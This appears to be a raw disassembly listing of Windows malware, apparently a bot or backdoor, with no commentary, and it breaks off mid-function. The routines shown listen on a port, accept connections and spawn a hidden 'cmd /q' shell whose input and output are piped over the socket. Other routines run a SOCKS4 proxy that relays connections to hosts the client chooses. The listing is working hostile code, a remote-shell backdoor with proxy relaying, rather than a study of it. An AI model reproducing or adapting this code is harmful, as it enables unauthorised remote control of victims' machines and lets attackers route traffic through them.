; Attributes: bp-based frame
sub_4116E1 proc near ; DATA XREF: sub_401AA1+230Do
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
xor edi, edi
inc edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call dword_4CE278 ; WSAStartup
xor esi, esi
cmp eax, esi
jz short loc_41173A
push eax
push offset unk_437AE4
call sub_415FB9
push [ebp+var_4C]
call sub_40B56A
add esp, 0Ch
push edi
call dword_4280D4 ; ExitThread
loc_41173A: ; CODE XREF: sub_4116E1+3Aj
push edi
push offset loc_41195E
call dword_428130 ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_411773
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_437AA0
call sub_415FB9
pop ecx
pop ecx
call dword_4CE260 ; WSACleanup
push [ebp+var_4C]
call sub_40B56A
pop ecx
push edi
call dword_4280D4 ; ExitThread
loc_411773: ; CODE XREF: sub_4116E1+67j
push ebx
push 10h
lea eax, [ebp+var_20]
push esi
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_20], 2
push [ebp+var_50]
call dword_4CE308 ; ntohs
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call dword_4CE388 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4118E9
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov dword_441254[eax], ebx
lea eax, [ebp+var_20]
push eax
push ebx
call dword_4CE334 ; bind
test eax, eax
jnz loc_4118E9
push 7FFFFFFFh
push ebx
call dword_4CE330 ; listen
test eax, eax
jnz loc_4118E9
push offset unk_437A64
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_415F45
pop ecx
mov [ebp+arg_0], edi
loc_411802: ; CODE XREF: sub_4116E1+15Aj
; sub_4116E1+203j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call dword_4CE39C ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_4118EC
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call dword_4CE2E8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_411802
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_414]
push offset unk_437A20
push eax
call sub_41BEF6
lea eax, [ebp+var_414]
push eax
call sub_415F45
push edi
lea eax, [ebp+var_414]
push 9
push eax
call sub_40B254
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov dword_44124C[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_41146C
lea eax, [ebp+var_10]
push esi
push eax
call dword_428084 ; CreateThread
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov dword_44125C[ecx], eax
jnz short loc_4118DF
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_4379E0
call sub_415FB9
pop ecx
pop ecx
jmp short loc_4118EC
; ---------------------------------------------------------------------------
loc_4118D7: ; CODE XREF: sub_4116E1+201j
push 32h
call dword_428080 ; Sleep
loc_4118DF: ; CODE XREF: sub_4116E1+1DFj
cmp [ebp+var_38], esi
jz short loc_4118D7
jmp loc_411802
; ---------------------------------------------------------------------------
loc_4118E9: ; CODE XREF: sub_4116E1+C8j
; sub_4116E1+ECj ...
mov edi, [ebp+arg_0]
loc_4118EC: ; CODE XREF: sub_4116E1+13Cj
; sub_4116E1+1F4j
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_414]
push offset unk_4379A8
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_41192C
push esi
lea eax, [ebp+var_414]
push [ebp+var_40]
push eax
lea eax, [ebp+var_210]
push eax
push [ebp+var_214]
call sub_409743
add esp, 14h
loc_41192C: ; CODE XREF: sub_4116E1+229j
lea eax, [ebp+var_414]
push eax
call sub_415F45
pop ecx
push edi
call dword_4CE3A0 ; closesocket
push ebx
call dword_4CE3A0 ; closesocket
call dword_4CE260 ; WSACleanup
push [ebp+var_4C]
call sub_40B56A
pop ecx
push esi
call dword_4280D4 ; ExitThread
pop ebx
loc_41195E: ; DATA XREF: sub_4116E1+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_4116E1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411968 proc near ; CODE XREF: sub_41146C+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_411ABD
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_441254[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_428084
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_411C8F
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_4119D7
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_437B48
call sub_415FB9
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
xor eax, eax
jmp loc_411AB7
; ---------------------------------------------------------------------------
loc_4119D7: ; CODE XREF: sub_411968+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_411D2D
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_411A18
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_437B48
call sub_415FB9
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call dword_4280B4 ; TerminateThread
xor eax, eax
jmp loc_411AB8
; ---------------------------------------------------------------------------
loc_411A18: ; CODE XREF: sub_411968+86j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call dword_428134 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_411A72
dec eax
jz short loc_411A6C
dec eax
jz short loc_411A58
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_437B10
call sub_415FB9
pop ecx
pop ecx
jmp short loc_411A87
; ---------------------------------------------------------------------------
loc_411A58: ; CODE XREF: sub_411968+D9j
mov edi, dword_4280B4
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_411A87
; ---------------------------------------------------------------------------
loc_411A6C: ; CODE XREF: sub_411968+D6j
push ebx
push dword ptr [esi+10h]
jmp short loc_411A76
; ---------------------------------------------------------------------------
loc_411A72: ; CODE XREF: sub_411968+D3j
push ebx
push dword ptr [esi+14h]
loc_411A76: ; CODE XREF: sub_411968+108j
call dword_4280B4 ; TerminateThread
push 1
push dword ptr [esi+8]
call dword_428100 ; TerminateProcess
loc_411A87: ; CODE XREF: sub_411968+EEj
; sub_411968+102j
push dword ptr [esi+10h]
mov edi, dword_428070
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call dword_4CE3A0 ; closesocket
push esi
call sub_41B721
xor eax, eax
inc eax
loc_411AB7: ; CODE XREF: sub_411968+6Aj
pop ecx
loc_411AB8: ; CODE XREF: sub_411968+ABj
pop edi
pop esi
pop ebx
leave
retn
sub_411968 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411ABD proc near ; CODE XREF: sub_411968+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41BB45
mov esi, eax
pop ecx
cmp esi, edi
jz loc_411BA7
mov ebx, dword_42810C
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, dword_428070
test eax, eax
jnz short loc_411B20
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_437BF8
jmp short loc_411B40
; ---------------------------------------------------------------------------
loc_411B20: ; CODE XREF: sub_411ABD+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_411B48
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_437BB8
loc_411B40: ; CODE XREF: sub_411ABD+61j
call sub_415FB9
pop ecx
jmp short loc_411B76
; ---------------------------------------------------------------------------
loc_411B48: ; CODE XREF: sub_411ABD+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_411BB6
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_411BAB
push offset unk_437B90
call sub_415F45
loc_411B76: ; CODE XREF: sub_411ABD+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_411B82
push [ebp+var_4]
call edi ; CloseHandle
loc_411B82: ; CODE XREF: sub_411ABD+BEj
cmp [ebp+var_8], 0
jz short loc_411B8D
push [ebp+var_8]
call edi ; CloseHandle
loc_411B8D: ; CODE XREF: sub_411ABD+C9j
mov eax, [esi]
test eax, eax
jz short loc_411B96
push eax
call edi ; CloseHandle
loc_411B96: ; CODE XREF: sub_411ABD+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_411BA0
push eax
call edi ; CloseHandle
loc_411BA0: ; CODE XREF: sub_411ABD+DEj
push esi
call sub_41B721
pop ecx
loc_411BA7: ; CODE XREF: sub_411ABD+1Dj
xor eax, eax
jmp short loc_411BB1
; ---------------------------------------------------------------------------
loc_411BAB: ; CODE XREF: sub_411ABD+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_411BB1: ; CODE XREF: sub_411ABD+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_411ABD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411BB6 proc near ; CODE XREF: sub_411ABD+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41BC00
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BC00
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_428108
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call dword_428104 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call dword_428074 ; CreateProcessA
test eax, eax
jz short loc_411C72
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_441250[eax], ecx
call dword_428070 ; CloseHandle
jmp short loc_411C88
; ---------------------------------------------------------------------------
loc_411C72: ; CODE XREF: sub_411BB6+9Aj
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_437C38
call sub_415FB9
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_411C88: ; CODE XREF: sub_411BB6+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_411BB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411C8F proc near ; DATA XREF: sub_411968+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
mov ebx, dword_4280EC
push esi
push edi
mov edi, [ebp+arg_0]
jmp short loc_411CF2
; ---------------------------------------------------------------------------
loc_411CA6: ; CODE XREF: sub_411C8F+7Bj
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_411CDB
loc_411CB1: ; CODE XREF: sub_411C8F+4Aj
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_411CCB
cmp dl, 0Dh
jz short loc_411CCB
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_411CCB: ; CODE XREF: sub_411C8F+2Cj
; sub_411C8F+31j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411CB1
loc_411CDB: ; CODE XREF: sub_411C8F+20j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CE358 ; send
test eax, eax
jle short loc_411D0C
loc_411CF2: ; CODE XREF: sub_411C8F+15j
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
call ebx ; ReadFile
test eax, eax
jnz short loc_411CA6
loc_411D0C: ; CODE XREF: sub_411C8F+61j
mov esi, dword_428094
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_411D28
call esi ; RtlGetLastWin32Error
push eax
push offset unk_437C78
call sub_415FB9
pop ecx
pop ecx
loc_411D28: ; CODE XREF: sub_411C8F+88j
pop edi
pop esi
pop ebx
leave
retn
sub_411C8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411D2D proc near ; DATA XREF: sub_411968+75o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
jmp loc_411E26
; ---------------------------------------------------------------------------
loc_411D48: ; CODE XREF: sub_411D2D+10Ej
cmp [ebp+var_10], ebx
jbe short loc_411D55
dec [ebp+var_10]
jmp loc_411E29
; ---------------------------------------------------------------------------
loc_411D55: ; CODE XREF: sub_411D2D+1Ej
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_411E11
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411DC5
cmp al, 7Fh
jz short loc_411DC5
cmp al, 3
jnz short loc_411D80
push ebx
push ebx
call dword_428138 ; GenerateConsoleCtrlEvent
jmp short loc_411DEC
; ---------------------------------------------------------------------------
loc_411D80: ; CODE XREF: sub_411D2D+47j
cmp al, 15h
jnz short loc_411DA2
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411DD8
; ---------------------------------------------------------------------------
loc_411DA2: ; CODE XREF: sub_411D2D+55j
xor ecx, ecx
mov [ebp+esi+var_DC], al
inc esi
inc ecx
cmp al, 0Dh
mov [ebp+var_8], al
jnz short loc_411DD9
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411DD8
; ---------------------------------------------------------------------------
loc_411DC5: ; CODE XREF: sub_411D2D+3Fj
; sub_411D2D+43j
cmp esi, ebx
jbe short loc_411DEF
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411DD8: ; CODE XREF: sub_411D2D+73j
; sub_411D2D+96j
pop ecx
loc_411DD9: ; CODE XREF: sub_411D2D+85j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CE358 ; send
test eax, eax
jle short loc_411E41
loc_411DEC: ; CODE XREF: sub_411D2D+51j
mov al, byte ptr [ebp+arg_0+3]
loc_411DEF: ; CODE XREF: sub_411D2D+9Aj
cmp al, 0Dh
jnz short loc_411E29
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call dword_4280F0 ; WriteFile
test eax, eax
jz short loc_411E41
xor esi, esi
jmp short loc_411E29
; ---------------------------------------------------------------------------
loc_411E11: ; CODE XREF: sub_411D2D+34j
cmp [ebp+var_C], ebx
jnz short loc_411E1F
mov [ebp+var_C], 1
jmp short loc_411E29
; ---------------------------------------------------------------------------
loc_411E1F: ; CODE XREF: sub_411D2D+E7j
mov [ebp+var_10], 0Ah
loc_411E26: ; CODE XREF: sub_411D2D+16j
mov [ebp+var_C], ebx
loc_411E29: ; CODE XREF: sub_411D2D+23j
; sub_411D2D+C4j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CE320 ; recv
test eax, eax
jg loc_411D48
loc_411E41: ; CODE XREF: sub_411D2D+BDj
; sub_411D2D+DEj
pop edi
pop esi
pop ebx
leave
retn
sub_411D2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411E46 proc near ; DATA XREF: sub_401AA1+2BBAo
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
xor edi, edi
xor esi, esi
inc edi
push ebx
mov [eax+0A8h], edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call dword_4CE308 ; ntohs
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_4CE388 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_441254[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4CE334 ; bind
test eax, eax
jnz loc_411FE7
push 0Ah
push edi
call dword_4CE330 ; listen
test eax, eax
jnz loc_411FE7
push [ebp+var_40]
push [ebp+var_D4]
call sub_40A8D5
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset dword_42DFF4
push eax
call sub_41BEF6
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_411F21
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_409743
add esp, 14h
loc_411F21: ; CODE XREF: sub_411E46+B9j
; sub_411E46+18Aj ...
lea eax, [ebp+var_2D4]
push eax
call sub_415F45
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CE39C ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_2D4]
push offset dword_437D28
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2D4]
push 19h
push eax
call sub_40B254
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_44124C[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_41204A
push esi
push esi
call dword_428084 ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_44125C[ecx], eax
jnz short loc_411FDD
call dword_428094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D4]
push offset dword_437CE8
push eax
call sub_41BEF6
add esp, 0Ch
jmp loc_411F21
; ---------------------------------------------------------------------------
loc_411FD5: ; CODE XREF: sub_411E46+19Aj
push 5
call dword_428080 ; Sleep
loc_411FDD: ; CODE XREF: sub_411E46+16Dj
cmp [ebp+var_28], esi
jz short loc_411FD5
jmp loc_411F21
; ---------------------------------------------------------------------------
loc_411FE7: ; CODE XREF: sub_411E46+7Bj
; sub_411E46+8Cj
push edi
call dword_4CE3A0 ; closesocket
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset dword_437CB4
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_41202A
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_409743
add esp, 14h
loc_41202A: ; CODE XREF: sub_411E46+1C2j
lea eax, [ebp+var_2D4]
push eax
call sub_415F45
push [ebp+var_3C]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_411E46 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41204A proc near ; DATA XREF: sub_411E46+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
xor edi, edi
mov [ebp+arg_0], esi
imul esi, 234h
inc edi
lea esi, dword_441254[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_4CE2F0 ; select
test eax, eax
jnz short loc_4120CB
push dword ptr [esi]
call dword_4CE3A0 ; closesocket
push [ebp+arg_0]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_4120CB: ; CODE XREF: sub_41204A+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_4CE320 ; recv
test eax, eax
jg short loc_4120FC
push dword ptr [esi]
call dword_4CE3A0 ; closesocket
push [ebp+arg_0]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_4120FC: ; CODE XREF: sub_41204A+98j
cmp [ebp+var_4D0], 4
jnz loc_4122F6
cmp [ebp+var_4CF], 1
jnz loc_4122F6
cmp [ebp+var_44], bl
jz short loc_412192
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_412192
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset dword_437DF4
call sub_415FB9
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_41BC00
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CE358 ; send
push dword ptr [esi]
call dword_4CE3A0 ; closesocket
push [ebp+arg_0]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_412192: ; CODE XREF: sub_41204A+CFj
; sub_41204A+E5j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_41BC00
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_4CE388 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_41222A
call dword_4CE29C ; WSAGetLastError
push eax
push offset dword_437DB4
call sub_415FB9
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41BC00
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CE358 ; send
push dword ptr [esi]
call dword_4CE3A0 ; closesocket
push [ebp+arg_0]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_41222A: ; CODE XREF: sub_41204A+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_4CE2B0 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_412299
call dword_4CE29C ; WSAGetLastError
push eax
push offset dword_437D70
call sub_415FB9
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41BC00
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CE358 ; send
push dword ptr [esi]
call dword_4CE3A0 ; closesocket
push [ebp+arg_0]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_412299: ; CODE XREF: sub_41204A+1F0j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CE358 ; send
push dword ptr [esi]
push edi
call sub_41230E
pop ecx
pop ecx
push edi
call dword_4CE3A0 ; closesocket
push dword ptr [esi]
call dword_4CE3A0 ; closesocket
push [ebp+arg_0]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
loc_4122F6: ; CODE XREF: sub_41204A+B9j
; sub_41204A+C6j
push dword ptr [esi]
call dword_4CE3A0 ; closesocket
push [ebp+arg_0]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
sub_41204A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41230E proc near ; CODE XREF: sub_41204A+286p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
